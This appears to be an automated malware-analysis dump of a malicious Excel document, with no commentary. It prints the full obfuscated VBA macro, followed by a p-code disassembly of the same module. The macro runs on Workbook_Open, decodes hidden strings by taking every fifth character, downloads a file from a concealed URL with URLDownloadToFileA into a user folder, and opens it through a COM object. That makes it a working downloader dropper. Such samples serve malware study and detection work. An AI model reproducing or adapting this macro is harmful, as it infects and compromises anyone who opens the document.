Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal NOnSoyAGHcECt94Iw As Long, ByVal NmE5hL As String, ByVal hKxU4VUBjOmNE As String, ByVal xfDGdEUcu7zhrCTaHhR As Long, ByVal qCmC6j19kHuiBQ61p3 As Long) As LongPtr
#Else
Private Declare Function URLDownloadToFileA Lib "URLMON" (ByVal NOnSoyAGHcECt94Iw As Long, ByVal NmE5hL As String, ByVal hKxU4VUBjOmNE As String, ByVal xfDGdEUcu7zhrCTaHhR As Long, ByVal qCmC6j19kHuiBQ61p3 As Long) As Long
#End If
Sub Workbook_Open()
OlvEN0aw
End Sub
Sub OlvEN0aw()
Dim m45hp
Dim EEDkaudYskU8oH3xFL
Dim xNlDXv As String
EEDkaudYskU8oH3xFL = Array(ILw8gM36uFzYyO(), KwTUO("\a7[ocw|t5oQeL2n*Vuus`BxgotBDel)b~peWoDb.R}mAe-y6_xlH/`ez,au"), KwTUO("hJ7W_t\g=Dt^)U6ph8L):CQR7/.{6</BqG=eyS=ll\0P(eas6icWmV_-J_p/tq9u+bLK^M.(BDjcG(J3ojgY_mfLGN/Ch_?lMVqbo(@Jgg\9H8/Q*~FnWKIVeKKsbt.8GLpqOgbrkF(PoPai/.]bUXeFH6cxL(vveF0s*"), Y23LD())
Dim xto3WsQ9bA
Set xto3WsQ9bA = AMALA3Yz0(EEDkaudYskU8oH3xFL(3))

xNlDXv = Environ(EEDkaudYskU8oH3xFL(0)) + EEDkaudYskU8oH3xFL(1)
Call URLDownloadToFileA(KwTUO(IhcF1F("0q", "bzC")), EEDkaudYskU8oH3xFL(2), xNlDXv, KwTUO(IhcF1F("0q", "bzC")), KwTUO(IhcF1F("0q", "bzC")))
xto3WsQ9bA.Open (xNlDXv)
End Sub

Function KwTUO(AF33AS As String) As String
    Dim UvSzug6soh5xppk(1055) As Byte
    Dim sVS1gpDxkkoDc() As Byte
    Dim eftGkQfyS57f7fr
    Dim zDmJXd891fhVEArsG62
    sVS1gpDxkkoDc = StrConv(AF33AS, vbFromUnicode)
    For zDmJXd891fhVEArsG62 = 0 To UBound(sVS1gpDxkkoDc) - 1
        If (zDmJXd891fhVEArsG62 Mod 5 = 0) Then
            UvSzug6soh5xppk(eftGkQfyS57f7fr) = sVS1gpDxkkoDc(zDmJXd891fhVEArsG62)
            eftGkQfyS57f7fr = eftGkQfyS57f7fr + 1
        End If
    Next zDmJXd891fhVEArsG62
    KwTUO = Left(StrConv(UvSzug6soh5xppk, vbUnicode), eftGkQfyS57f7fr)
End Function

Function AMALA3Yz0(LlhjEiX) As Object
Set AMALA3Yz0 = CreateObject(LlhjEiX)
End Function

Function ILw8gM36uFzYyO() As String
Dim O4Jtu3Nt1hX
Dim okaRI9
Dim XjE5i
Dim jHDEO0d
O4Jtu3Nt1hX = KwTUO(spu0dR("T_", ",WR"))
okaRI9 = O4Jtu3Nt1hX & KwTUO(pT1cqKQod("EG", "]:M"))
XjE5i = okaRI9 & KwTUO(sSoxKIQ("MH", "9=6"))
jHDEO0d = XjE5i & KwTUO(CoR7PbVJLg("PU", "w[\"))
ILw8gM36uFzYyO = jHDEO0d
End Function

Function Y23LD() As String
Dim sQ9SPdalFzx
Dim PQPHRxx
Dim sKKzb
Dim AlAfchudwKRzsWQm
Dim E7YkJrwnQ3aa
Dim ErfSoaaNGGmT5
Dim S5Qb6r5s3zrtDsCdJ
Dim OEI7C
sQ9SPdalFzx = KwTUO(eLXX6cmtY9S("Sk=Zbhb", "ny<erg8I"))
PQPHRxx = sQ9SPdalFzx & KwTUO(ygcwoL("lNOP*l>", "64o.`S~V"))
sKKzb = PQPHRxx & KwTUO(lUtIND("Al\*`pL", "kmvp?3yQ"))
AlAfchudwKRzsWQm = sKKzb & KwTUO(KNTTfZxD("l9.Rpi1", "C^^cLp~x"))
E7YkJrwnQ3aa = AlAfchudwKRzsWQm & KwTUO(UrVaqK4ustJ("ag:wFtjjz@i=", "+t.ok@n/ny@1B"))
Y23LD = E7YkJrwnQ3aa
End Function

Function IhcF1F(d5bLfiyg5hDN As String, LoQVvwPykMrWzXQWTZ As String)
IhcF1F = d5bLfiyg5hDN + LoQVvwPykMrWzXQWTZ
End Function
Function cA7Hzca(BlNMmcqecyL As String, IRClLoY8D2WsikogBX As String)
cA7Hzca = BlNMmcqecyL + IRClLoY8D2WsikogBX
End Function
Function lBniYO8(c7nB9yS As String, s4Im0ORY4nl4hu As String)
lBniYO8 = c7nB9yS + s4Im0ORY4nl4hu
End Function
Function spu0dR(C9EUd2n9S4n As String, nVG2ntBf3vFVUHBk As String)
spu0dR = C9EUd2n9S4n + nVG2ntBf3vFVUHBk
End Function
Function pT1cqKQod(PTShfa2uTob5upiCed As String, okyAW As String)
pT1cqKQod = PTShfa2uTob5upiCed + okyAW
End Function
Function sSoxKIQ(OHti0Mq3 As String, pL28vE7J As String)
sSoxKIQ = OHti0Mq3 + pL28vE7J
End Function
Function CoR7PbVJLg(Za85XJ As String, e8v9QIvSHI8BSSk1e As String)
CoR7PbVJLg = Za85XJ + e8v9QIvSHI8BSSk1e
End Function
Function eLXX6cmtY9S(WcU8ace5xdFBMPBh As String, CdIQZqc5vrcoZUK As String)
eLXX6cmtY9S = WcU8ace5xdFBMPBh + CdIQZqc5vrcoZUK
End Function
Function ygcwoL(SC90LWlCxo1 As String, mmGl2t As String)
ygcwoL = SC90LWlCxo1 + mmGl2t
End Function
Function lUtIND(vQ3eVUgnT84lr As String, xzYhlas5SkoUI9arlfw As String)
lUtIND = vQ3eVUgnT84lr + xzYhlas5SkoUI9arlfw
End Function
Function KNTTfZxD(a18VUrq As String, jpkGFqoHCL7xGkxIp1B As String)
KNTTfZxD = a18VUrq + jpkGFqoHCL7xGkxIp1B
End Function
Function UrVaqK4ustJ(CcMPpfLwq2Cu As String, tLd0YFSLJeQXyvq3 As String)
UrVaqK4ustJ = CcMPpfLwq2Cu + tLd0YFSLJeQXyvq3
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: /opt/analyzer/scan_staging/cffc960e95e84995844214a0185b0ad5.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 10168 bytes
' Line #0:
' 	LbMark 
' 	Ld Office 
' 	Ld Project1 
' 	And 
' 	LbIf 
' Line #1:
' 	FuncDefn (Private Declare PtrSafe Function xfDGdEUcu7zhrCTaHhR Lib "EEDkaudYskU8oH3xFL" (ByVal qCmC6j19kHuiBQ61p3 As Long, ByVal URLMON As String, ByVal Workbook_Open As String, ByVal OlvEN0aw As Long, ByVal m45hp As Long) As LongPtr)
' Line #2:
' 	LbMark 
' 	LbElse 
' Line #3:
' 	FuncDefn (Private Declare Function xfDGdEUcu7zhrCTaHhR Lib "EEDkaudYskU8oH3xFL" (ByVal qCmC6j19kHuiBQ61p3 As Long, ByVal URLMON As String, ByVal Workbook_Open As String, ByVal OlvEN0aw As Long, ByVal m45hp As Long) As Long)
' Line #4:
' 	LbMark 
' 	LbEndIf 
' Line #5:
' 	FuncDefn (Sub xNlDXv())
' Line #6:
' 	ArgsCall ILw8gM36uFzYyO 0x0000 
' Line #7:
' 	EndSub 
' Line #8:
' 	FuncDefn (Sub ILw8gM36uFzYyO())
' Line #9:
' 	Dim 
' 	VarDefn KwTUO
' Line #10:
' 	Dim 
' 	VarDefn Y23LD
' Line #11:
' 	Dim 
' 	VarDefn xto3WsQ9bA (As String)
' Line #12:
' 	ArgsLd AMALA3Yz0 0x0000 
' 	LitStr 0x003C "\a7[ocw|t5oQeL2n*Vuus`BxgotBDel)b~peWoDb.R}mAe-y6_xlH/`ez,au"
' 	ArgsLd Environ 0x0001 
' 	LitStr 0x00A5 "hJ7W_t\g=Dt^)U6ph8L):CQR7/.{6</BqG=eyS=ll\0P(eas6icWmV_-J_p/tq9u+bLK^M.(BDjcG(J3ojgY_mfLGN/Ch_?lMVqbo(@Jgg\9H8/Q*~FnWKIVeKKsbt.8GLpqOgbrkF(PoPai/.]bUXeFH6cxL(vveF0s*"
' 	ArgsLd Environ 0x0001 
' 	ArgsLd IhcF1F 0x0000 
' 	ArgsArray Array 0x0004 
' 	St Y23LD 
' Line #13:
' 	Dim 
' 	VarDefn AF33AS
' Line #14:
' 	SetStmt 
' 	LitDI2 0x0003 
' 	ArgsLd Y23LD 0x0001 
' 	ArgsLd UvSzug6soh5xppk 0x0001 
' 	Set AF33AS 
' Line #15:
' Line #16:
' 	LitDI2 0x0000 
' 	ArgsLd Y23LD 0x0001 
' 	ArgsLd sVS1gpDxkkoDc 0x0001 
' 	LitDI2 0x0001 
' 	ArgsLd Y23LD 0x0001 
' 	Add 
' 	St xto3WsQ9bA 
' Line #17:
' 	LitStr 0x0002 "0q"
' 	LitStr 0x0003 "bzC"
' 	ArgsLd eftGkQfyS57f7fr 0x0002 
' 	ArgsLd Environ 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Y23LD 0x0001 
' 	Ld xto3WsQ9bA 
' 	LitStr 0x0002 "0q"
' 	LitStr 0x0003 "bzC"
' 	ArgsLd eftGkQfyS57f7fr 0x0002 
' 	ArgsLd Environ 0x0001 
' 	LitStr 0x0002 "0q"
' 	LitStr 0x0003 "bzC"
' 	ArgsLd eftGkQfyS57f7fr 0x0002 
' 	ArgsLd Environ 0x0001 
' 	ArgsCall (Call) xfDGdEUcu7zhrCTaHhR 0x0005 
' Line #18:
' 	Ld xto3WsQ9bA 
' 	Paren 
' 	Ld AF33AS 
' 	ArgsMemCall Open 0x0001 
' Line #19:
' 	EndSub 
' Line #20:
' Line #21:
' 	FuncDefn (Function Environ(zDmJXd891fhVEArsG62 As String, id_FFFE As String) As String)
' Line #22:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x041F 
' 	VarDefn StrConv (As Byte)
' Line #23:
' 	Dim 
' 	VarDefn vbFromUnicode (As Byte)
' Line #24:
' 	Dim 
' 	VarDefn vbUnicode
' Line #25:
' 	Dim 
' 	VarDefn LlhjEiX
' Line #26:
' 	Ld zDmJXd891fhVEArsG62 
' 	Ld O4Jtu3Nt1hX 
' 	ArgsLd CreateObject 0x0002 
' 	St vbFromUnicode 
' Line #27:
' 	StartForVariable 
' 	Ld LlhjEiX 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld vbFromUnicode 
' 	FnUBound 0x0000 
' 	LitDI2 0x0001 
' 	Sub 
' 	For 
' Line #28:
' 	Ld LlhjEiX 
' 	LitDI2 0x0005 
' 	Mod 
' 	LitDI2 0x0000 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #29:
' 	Ld LlhjEiX 
' 	ArgsLd vbFromUnicode 0x0001 
' 	Ld vbUnicode 
' 	ArgsSt StrConv 0x0001 
' Line #30:
' 	Ld vbUnicode 
' 	LitDI2 0x0001 
' 	Add 
' 	St vbUnicode 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	StartForVariable 
' 	Ld LlhjEiX 
' 	EndForVariable 
' 	NextVar 
' Line #33:
' 	Ld StrConv 
' 	Ld okaRI9 
' 	ArgsLd CreateObject 0x0002 
' 	Ld vbUnicode 
' 	ArgsLd Left 0x0002 
' 	St Environ 
' Line #34:
' 	EndFunc 
' Line #35:
' Line #36:
' 	FuncDefn (Function UvSzug6soh5xppk(XjE5i, id_FFFE As Object) As Object)
' Line #37:
' 	SetStmt 
' 	Ld XjE5i 
' 	ArgsLd jHDEO0d 0x0001 
' 	Set UvSzug6soh5xppk 
' Line #38:
' 	EndFunc 
' Line #39:
' Line #40:
' 	FuncDefn (Function AMALA3Yz0(id_FFFE As String) As String)
' Line #41:
' 	Dim 
' 	VarDefn spu0dR
' Line #42:
' 	Dim 
' 	VarDefn pT1cqKQod
' Line #43:
' 	Dim 
' 	VarDefn sSoxKIQ
' Line #44:
' 	Dim 
' 	VarDefn CoR7PbVJLg
' Line #45:
' 	LitStr 0x0002 "T_"
' 	LitStr 0x0003 ",WR"
' 	ArgsLd sQ9SPdalFzx 0x0002 
' 	ArgsLd Environ 0x0001 
' 	St spu0dR 
' Line #46:
' 	Ld spu0dR 
' 	LitStr 0x0002 "EG"
' 	LitStr 0x0003 "]:M"
' 	ArgsLd PQPHRxx 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St pT1cqKQod 
' Line #47:
' 	Ld pT1cqKQod 
' 	LitStr 0x0002 "MH"
' 	LitStr 0x0003 "9=6"
' 	ArgsLd sKKzb 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St sSoxKIQ 
' Line #48:
' 	Ld sSoxKIQ 
' 	LitStr 0x0002 "PU"
' 	LitStr 0x0003 "w[\"
' 	ArgsLd AlAfchudwKRzsWQm 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St CoR7PbVJLg 
' Line #49:
' 	Ld CoR7PbVJLg 
' 	St AMALA3Yz0 
' Line #50:
' 	EndFunc 
' Line #51:
' Line #52:
' 	FuncDefn (Function IhcF1F(id_FFFE As String) As String)
' Line #53:
' 	Dim 
' 	VarDefn E7YkJrwnQ3aa
' Line #54:
' 	Dim 
' 	VarDefn ErfSoaaNGGmT5
' Line #55:
' 	Dim 
' 	VarDefn S5Qb6r5s3zrtDsCdJ
' Line #56:
' 	Dim 
' 	VarDefn OEI7C
' Line #57:
' 	Dim 
' 	VarDefn eLXX6cmtY9S
' Line #58:
' 	Dim 
' 	VarDefn ygcwoL
' Line #59:
' 	Dim 
' 	VarDefn lUtIND
' Line #60:
' 	Dim 
' 	VarDefn KNTTfZxD
' Line #61:
' 	LitStr 0x0007 "Sk=Zbhb"
' 	LitStr 0x0008 "ny<erg8I"
' 	ArgsLd UrVaqK4ustJ 0x0002 
' 	ArgsLd Environ 0x0001 
' 	St E7YkJrwnQ3aa 
' Line #62:
' 	Ld E7YkJrwnQ3aa 
' 	LitStr 0x0007 "lNOP*l>"
' 	LitStr 0x0008 "64o.`S~V"
' 	ArgsLd d5bLfiyg5hDN 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St ErfSoaaNGGmT5 
' Line #63:
' 	Ld ErfSoaaNGGmT5 
' 	LitStr 0x0007 "Al\*`pL"
' 	LitStr 0x0008 "kmvp?3yQ"
' 	ArgsLd LoQVvwPykMrWzXQWTZ 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St S5Qb6r5s3zrtDsCdJ 
' Line #64:
' 	Ld S5Qb6r5s3zrtDsCdJ 
' 	LitStr 0x0007 "l9.Rpi1"
' 	LitStr 0x0008 "C^^cLp~x"
' 	ArgsLd cA7Hzca 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St OEI7C 
' Line #65:
' 	Ld OEI7C 
' 	LitStr 0x000C "ag:wFtjjz@i="
' 	LitStr 0x000D "+t.ok@n/ny@1B"
' 	ArgsLd BlNMmcqecyL 0x0002 
' 	ArgsLd Environ 0x0001 
' 	Concat 
' 	St eLXX6cmtY9S 
' Line #66:
' 	Ld eLXX6cmtY9S 
' 	St IhcF1F 
' Line #67:
' 	EndFunc 
' Line #68:
' Line #69:
' 	FuncDefn (Function eftGkQfyS57f7fr(IRClLoY8D2WsikogBX As String, lBniYO8 As String, id_FFFE As Variant))
' Line #70:
' 	Ld IRClLoY8D2WsikogBX 
' 	Ld lBniYO8 
' 	Add 
' 	St eftGkQfyS57f7fr 
' Line #71:
' 	EndFunc 
' Line #72:
' 	FuncDefn (Function c7nB9yS(s4Im0ORY4nl4hu As String, C9EUd2n9S4n As String, id_FFFE As Variant))
' Line #73:
' 	Ld s4Im0ORY4nl4hu 
' 	Ld C9EUd2n9S4n 
' 	Add 
' 	St c7nB9yS 
' Line #74:
' 	EndFunc 
' Line #75:
' 	FuncDefn (Function nVG2ntBf3vFVUHBk(PTShfa2uTob5upiCed As String, okyAW As String, id_FFFE As Variant))
' Line #76:
' 	Ld PTShfa2uTob5upiCed 
' 	Ld okyAW 
' 	Add 
' 	St nVG2ntBf3vFVUHBk 
' Line #77:
' 	EndFunc 
' Line #78:
' 	FuncDefn (Function sQ9SPdalFzx(OHti0Mq3 As String, pL28vE7J As String, id_FFFE As Variant))
' Line #79:
' 	Ld OHti0Mq3 
' 	Ld pL28vE7J 
' 	Add 
' 	St sQ9SPdalFzx 
' Line #80:
' 	EndFunc 
' Line #81:
' 	FuncDefn (Function PQPHRxx(Za85XJ As String, e8v9QIvSHI8BSSk1e As String, id_FFFE As Variant))
' Line #82:
' 	Ld Za85XJ 
' 	Ld e8v9QIvSHI8BSSk1e 
' 	Add 
' 	St PQPHRxx 
' Line #83:
' 	EndFunc 
' Line #84:
' 	FuncDefn (Function sKKzb(WcU8ace5xdFBMPBh As String, CdIQZqc5vrcoZUK As String, id_FFFE As Variant))
' Line #85:
' 	Ld WcU8ace5xdFBMPBh 
' 	Ld CdIQZqc5vrcoZUK 
' 	Add 
' 	St sKKzb 
' Line #86:
' 	EndFunc 
' Line #87:
' 	FuncDefn (Function AlAfchudwKRzsWQm(SC90LWlCxo1 As String, mmGl2t As String, id_FFFE As Variant))
' Line #88:
' 	Ld SC90LWlCxo1 
' 	Ld mmGl2t 
' 	Add 
' 	St AlAfchudwKRzsWQm 
' Line #89:
' 	EndFunc 
' Line #90:
' 	FuncDefn (Function UrVaqK4ustJ(vQ3eVUgnT84lr As String, xzYhlas5SkoUI9arlfw As String, id_FFFE As Variant))
' Line #91:
' 	Ld vQ3eVUgnT84lr 
' 	Ld xzYhlas5SkoUI9arlfw 
' 	Add 
' 	St UrVaqK4ustJ 
' Line #92:
' 	EndFunc 
' Line #93:
' 	FuncDefn (Function d5bLfiyg5hDN(a18VUrq As String, jpkGFqoHCL7xGkxIp1B As String, id_FFFE As Variant))
' Line #94:
' 	Ld a18VUrq 
' 	Ld jpkGFqoHCL7xGkxIp1B 
' 	Add 
' 	St d5bLfiyg5hDN 
' Line #95:
' 	EndFunc 
' Line #96:
' 	FuncDefn (Function LoQVvwPykMrWzXQWTZ(CcMPpfLwq2Cu As String, tLd0YFSLJeQXyvq3 As String, id_FFFE As Variant))
' Line #97:
' 	Ld CcMPpfLwq2Cu 
' 	Ld tLd0YFSLJeQXyvq3 
' 	Add 
' 	St LoQVvwPykMrWzXQWTZ 
' Line #98:
' 	EndFunc 
' Line #99:
' 	FuncDefn (Function cA7Hzca(id_02BC As String, id_02BE As String, id_FFFE As Variant))
' Line #100:
' 	Ld id_02BC 
' 	Ld id_02BE 
' 	Add 
' 	St cA7Hzca 
' Line #101:
' 	EndFunc 
' Line #102:
' 	FuncDefn (Function BlNMmcqecyL(id_02C0 As String, id_02C2 As String, id_FFFE As Variant))
' Line #103:
' 	Ld id_02C0 
' 	Ld id_02C2 
' 	Add 
' 	St BlNMmcqecyL 
' Line #104:
' 	EndFunc 
' _VBA_PROJECT_CUR/VBA/Sheet1 - 977 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 977 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 977 bytes